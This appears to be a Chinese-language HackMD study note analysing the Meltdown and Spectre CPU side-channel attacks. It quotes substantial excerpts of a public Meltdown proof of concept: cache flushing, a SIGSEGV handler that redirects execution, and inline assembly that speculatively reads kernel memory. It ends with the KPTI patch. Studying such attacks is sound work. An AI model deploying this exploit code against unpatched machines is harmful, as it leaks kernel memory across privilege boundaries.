Try   HackMD

Side channel attack analyze

Meltdown 簡介

CVE-2017-5754 (a.k.a Meltdown) 是一個在 2018 年初被揭露的 side channel 攻擊手段,由 Google Project Zero 的成員 Jann Horn 獨立發現,幾乎影響了所有主流的作業系統,因為其概念上是利用 CPU 的優化手段中的 speculative execution 特性,來達成在 user mode 讀取存放在 kernel memory 中的資料。

Spectre 簡介

CVE-2017-5715(a.k.a Spectre) 一樣是由 Google Project Zero 的成員 Jann 獨立發現,利用手法上和 Meltdown 類似但 approach 不同,Meltdown 是利用在 segment fault 發生時依然會 resolve data dependency 而在 cache 中洩漏資訊,Spectre 則是攻擊 CPU 中的 branch predictor,讓攻擊者期望的 branch (如非法存取記憶體) 總是會被 branch predictor 錯誤的選擇,而後 revert,進而在 cache 中洩漏資訊。

Meltdown 利用手法

主要參考 paboldin 的 PoC 以及 Project Zero 團隊的 Blog 來研究

Meltdown 攻擊的基本概念其實不難,主要是因為 CPU 的 speculative execution 在亂序執行時,就算因為 segfault 中斷執行並將非預期的結果從 pipeline 中清空,但並不會將 cache 中的結果清空,也就會造成存取的時間差進而洩漏資訊。

考慮以下程式碼:

unsigned char arr[256 * 4096] unsigned char *kernel_ptr = user_controlled_kernel_address; unsigned char value = *kernel_ptr; unsigned long index = value * 4096; unsigned char value2 = arr[index];

作為一個簡單的示意,若是 user 在 第 4 行時透過指標存取 kernel address 中的資料,則會因為 page table 中對該地址的存取是不被允許的而觸發 segfault 並將 flush pipeline。

但是問題出在因為 CPU 內部的優化所以部分程式碼可能會是亂序執行的,也就是說在觸發 segfault 前,第 5-6 行程式碼可能已經被執行了,而他們的值將會被遺留在 cacheline 中,結果就是當下次存取 arr[index] 時,那個位置所需的讀取時間就會相較其他位置少.. TIMING ATTACK!

擷取部分 PoC 內容:

#define TARGET_OFFSET	12
#define TARGET_SIZE	(1 << TARGET_OFFSET)
#define BITS_READ	8
#define VARIANTS_READ	(1 << BITS_READ)
// target_array[256 * 4096]
static char target_array[VARIANTS_READ * TARGET_SIZE];

首先宣告一個用來辨別存取時間差的 array,VARIANTS_READ 是一次讀取可能產生出來的數值範圍(1 byte == 256 種),TARGET_SIZE 則是加大每個測量點之間的距離,在 Meltdown 論文中有提到其原因是為了避免 CPU cache 嘗試 prefetch 將附近的地址放入 cache 中,而造成接下來的時間差計算失效。

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

readbyte 是用來非法讀取 kernel address addr 並透過測量時間差計算洩漏出來的值,在每次攻擊開始前皆會透過 clflush_target() 清除 cache 上所有 target_array 的快取,並透過一個特殊的 CPU 指令 _mm_mfence() 等待 clflush_target() 中所有清除 cache 的 memory 操作結束後 (還記得前面提到的亂序執行吧) 才往下執行 speculate(addr)

int readbyte(int fd, unsigned long addr) {
	...
	
	clflush_target();
	_mm_mfence();

	speculate(addr);
	check();
	
	...
}

在進到 speculate 前先瞭解一些先前宣告的 helper function。
set_signal 會將 sigsegv 這個函式註冊為 SIGSEGV SIGNAL 的 handler,而 sigsegv 則是用於將 control flow 導回至發生 segfault 的下一行指令,讓程式可以繼續執行。(stopspeculate 位於 speculate() 中)

void sigsegv(int sig, siginfo_t *siginfo, void *context)
{
	ucontext_t *ucontext = context;

#ifdef __x86_64__
	ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
#else
	ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
#endif
	return;
}

int set_signal(void)
{
	struct sigaction act = {
		.sa_sigaction = sigsegv,
		.sa_flags = SA_SIGINFO,
	};

	return sigaction(SIGSEGV, &act, NULL);
}

以下將各行組合語言對應到先前的 C pseudocode 中,
其中比較特別的是第 5, 13 行的處理是為了減少讀取到 0 的情況,在論文中也有對應的說明

不過不太理解最開始重複 300 次的 add $0x141, %%rax,嘗試拿掉的話在部分機器上沒有差異,但在 Windows VMware 虛擬機中會顯著降低預測值,相當歡迎各位留言解惑!

static void __attribute__((noinline)) speculate(unsigned long addr) { asm volatile ( "1:\n\t" ".rept 300\n\t" "add $0x141, %%rax\n\t" ".endr\n\t" "movzx (%[addr]), %%eax\n\t" /* value = *kernel_ptr */ "shl $12, %%rax\n\t" /* index = value * 4096 */ "jz 1b\n\t" /* magic to reduce reading 0 */ "movzx (%[target], %%rax, 1), %%rbx\n" /* value2 = arr[index] */ "stopspeculate: \n\t" "nop\n\t" : : [target] "r" (target_array), [addr] "r" (addr) : "rax", "rbx" ); }

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

漏洞修補

事件過後 Linux 和 Windows 都迅速發出更新檔,以 KPTI 方式只保留部分 kernel memory 映射到 user mode 下的 virtual memory,讓 user mode 沒有辦法直接存取到完整的 kernel memory